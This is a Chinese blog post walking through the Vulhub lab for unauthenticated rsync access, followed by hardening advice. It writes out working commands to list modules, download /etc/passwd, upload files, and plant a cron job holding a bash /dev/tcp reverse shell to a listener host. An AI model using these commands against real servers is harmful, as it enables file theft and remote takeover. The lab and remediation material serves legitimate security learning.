【Vulhub】Rsync未授權訪問漏洞復現
阿新 • • 發佈:2020-09-11
Rsync未授權訪問
Rsync簡介
rsync,remote synchronize顧名思意就知道它是一款實現遠端同步功能的軟體,它在同步檔案的同時,可以保持原來檔案的許可權、時間、軟硬連結等附加資訊。 rsync是用 “rsync 演算法”提供了一個客戶機和遠端檔案伺服器的檔案同步的快速方法,而且可以通過ssh方式來傳輸檔案,這樣其保密性也非常好
Rsync配置檔案&常見配置項
預設配置檔案路徑:/etc/rsync.conf
預設埠:873
motd file -> motd檔案位置 log file -> 日誌檔案位置 path -> 預設路徑位置 use chroot -> 是否限定在該目錄下,預設為true,當有軟連線時,需要改為fasle,如果為true就限定為模組預設目錄 read only -> 只讀配置(yes or no) list=true -> 是否可以列出模組名 uid = root -> 傳輸使用的使用者名稱 gid = root -> 傳輸使用的使用者組 auth users -> 認證使用者名稱 secrets file=/etc/rsyncd.passwd -> 指定密碼檔案,如果設定驗證使用者,這一項必須設定,設定密碼許可權為400,密碼檔案/etc/rsyncd.passwd的內容格式為:username:password hosts allow=192.168.0.101 -> 設定可以允許訪問的主機,可以是網段,多個Ip地址用空格隔開 hosts deny 禁止的主機,host的兩項可以使用*表任意。
Rsync基本命令
命令:
Rsync [-avrlptgoD] [-e ssh] [user@hostIP:/dir] [/local/path]
-v 觀察模式,輸出更多資訊
-q 與 –v 相反,僅顯示錯誤資訊
-r 遞迴複製,針對目錄
-u 僅更新較新的檔案
-l 複製連線的屬性
-p 複製時保持屬性不變
-g 儲存原有群組
-o 儲存原有擁有人
-D 儲存原有裝置屬性
-t 儲存原有時間屬性
-I 忽略更新時間屬性,檔案比對較快
-z 加上壓縮引數
-e 使用協議通道,例如ssh,-e ssh
-a 相對於-rlptgoD,所以-a最常用
漏洞利用
連線&&讀取檔案
rsync rsync://192.168.124.153:873/
rsync rsync://192.168.124.153:873/src/
root@kali:/# rsync rsync://192.168.124.153:873/ src src path root@kali:/# rsync rsync://192.168.124.153:873/src/ drwxr-xr-x 4,096 2020/09/09 11:22:20 . -rwxr-xr-x 0 2020/09/09 11:22:20 .dockerenv -rwxr-xr-x 101 2020/07/26 18:13:18 docker-entrypoint.sh drwxr-xr-x 4,096 2018/01/22 02:42:04 bin drwxr-xr-x 4,096 2017/07/13 21:01:05 boot drwxr-xr-x 4,096 2020/09/09 11:22:19 data drwxr-xr-x 340 2020/09/09 22:48:04 dev drwxr-xr-x 4,096 2020/09/09 22:52:12 etc drwxr-xr-x 4,096 2017/07/13 21:01:05 home drwxr-xr-x 4,096 2018/01/22 02:42:05 lib drwxr-xr-x 4,096 2017/10/09 08:00:00 lib64 drwxr-xr-x 4,096 2017/10/09 08:00:00 media drwxr-xr-x 4,096 2017/10/09 08:00:00 mnt drwxr-xr-x 4,096 2017/10/09 08:00:00 opt dr-xr-xr-x 0 2020/09/09 22:48:04 proc drwx------ 4,096 2020/09/09 23:05:08 root drwxr-xr-x 4,096 2020/09/09 23:08:14 run drwxr-xr-x 4,096 2017/10/09 08:00:00 sbin drwxr-xr-x 4,096 2017/10/09 08:00:00 srv dr-xr-xr-x 0 2020/09/09 22:48:04 sys drwxrwxrwt 4,096 2020/09/09 22:48:33 tmp drwxr-xr-x 4,096 2017/10/09 08:00:00 usr drwxr-xr-x 4,096 2017/10/09 08:00:00 var root@kali:/# rsync rsync://192.168.124.153:873/src/ drwxr-xr-x 4,096 2020/09/09 11:22:20 . -rwxr-xr-x 0 2020/09/09 11:22:20 .dockerenv -rwxr-xr-x 101 2020/07/26 18:13:18 docker-entrypoint.sh drwxr-xr-x 4,096 2018/01/22 02:42:04 bin drwxr-xr-x 4,096 2017/07/13 21:01:05 boot drwxr-xr-x 4,096 2020/09/09 11:22:19 data drwxr-xr-x 340 2020/09/09 22:48:04 dev drwxr-xr-x 4,096 2020/09/09 22:52:12 etc drwxr-xr-x 4,096 2017/07/13 21:01:05 home drwxr-xr-x 4,096 2018/01/22 02:42:05 lib drwxr-xr-x 4,096 2017/10/09 08:00:00 lib64 drwxr-xr-x 4,096 2017/10/09 08:00:00 media drwxr-xr-x 4,096 2017/10/09 08:00:00 mnt drwxr-xr-x 4,096 2017/10/09 08:00:00 opt dr-xr-xr-x 0 2020/09/09 22:48:04 proc drwx------ 4,096 2020/09/09 23:05:08 root drwxr-xr-x 4,096 2020/09/09 23:08:14 run drwxr-xr-x 4,096 2017/10/09 08:00:00 sbin drwxr-xr-x 4,096 2017/10/09 08:00:00 srv dr-xr-xr-x 0 2020/09/09 22:48:04 sys drwxrwxrwt 4,096 2020/09/09 22:48:33 tmp drwxr-xr-x 4,096 2017/10/09 08:00:00 usr drwxr-xr-x 4,096 2017/10/09 08:00:00 var
下載檔案
下載etc/passwd:
命令格式:rsync rsync://IP:port/src/etc/passwd 目標路徑
例如:
rsync rsync://192.168.124.153:873/src/etc/passwd /tmp/tmp/
root@kali:/# cat /tmp/tmp/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
上傳檔案
如果有相應的jsp/asp/php環境可以寫一句話
下面以phpinfo為例
攻擊機:
root@kali:/# echo "<?php phpinfo() ?>" > phpinfo.php
root@kali:/# cat ./phpinfo.php
<?php phpinfo() ?>
root@kali:/# rsync ./phpinfo.php rsync://192.168.124.153:873/src/home/
靶機:
root@4448da0725bd:/# ls
bin data docker-entrypoint.sh home lib64 mnt proc run srv tmp var
boot dev etc lib media opt root sbin sys usr
root@4448da0725bd:/# cd home/
root@4448da0725bd:/home# ls
phpinfo.php
root@4448da0725bd:/home# cat phpinfo.php
<?php phpinfo() ?>
反彈shell
網上只看到了利用定時任務cron反彈shell
1.先檢視定時任務
root@kali:/# rsync rsync://192.168.124.153:873/src/etc/crontab
-rw-r--r-- 722 2019/03/22 03:45:10 crontab
2.將定時任務檔案下載下來
rsync rsync://192.168.124.153/src/etc/crontab /tmp/tmp/crontab.txt
我的內容為:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
大致意思為每17分鐘呼叫一次/etc/cron.hourly
建立shell檔案
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1
授權shell檔案
chmod 777 shell
上傳shell檔案至靶機
root@kali:/# rsync -av /tmp/tmp/shell rsync://192.168.124.153:873/src/etc/cron.hourly
sending incremental file list
shell
sent 154 bytes received 35 bytes 18.00 bytes/sec
total size is 63 speedup is 0.33
攻擊機開啟nc監聽相應埠
nc -lvp 4444
安全配置&&修復建議
配置認證使用者名稱或者密碼
host allow/deny 來控制接入源IP
uid和gid,使用足夠但最小許可權的賬號進行
必要時候可以配置只讀
非必要應該僅限制配置路徑下可訪問
1.修改指定埠
配置檔案不存在修改指定埠的選項,可以在啟動命令列通過引數指定
/usr/local/rsync/bin.rsync --port=878 --daemon
檢視程序檢測是否更改埠
ps -ef | grep rsync
2.禁止匿名訪問
配置檔案/etc/rsync.conf中增加 auth users = test
若未包含auth users即為匿名訪問
參考文章
https://www.jianshu.com/p/85e368193dc2
https://www.cnblogs.com/KevinGeorge/p/9648028.html
https://www.cnblogs.com/leixiao-/p/10227086.html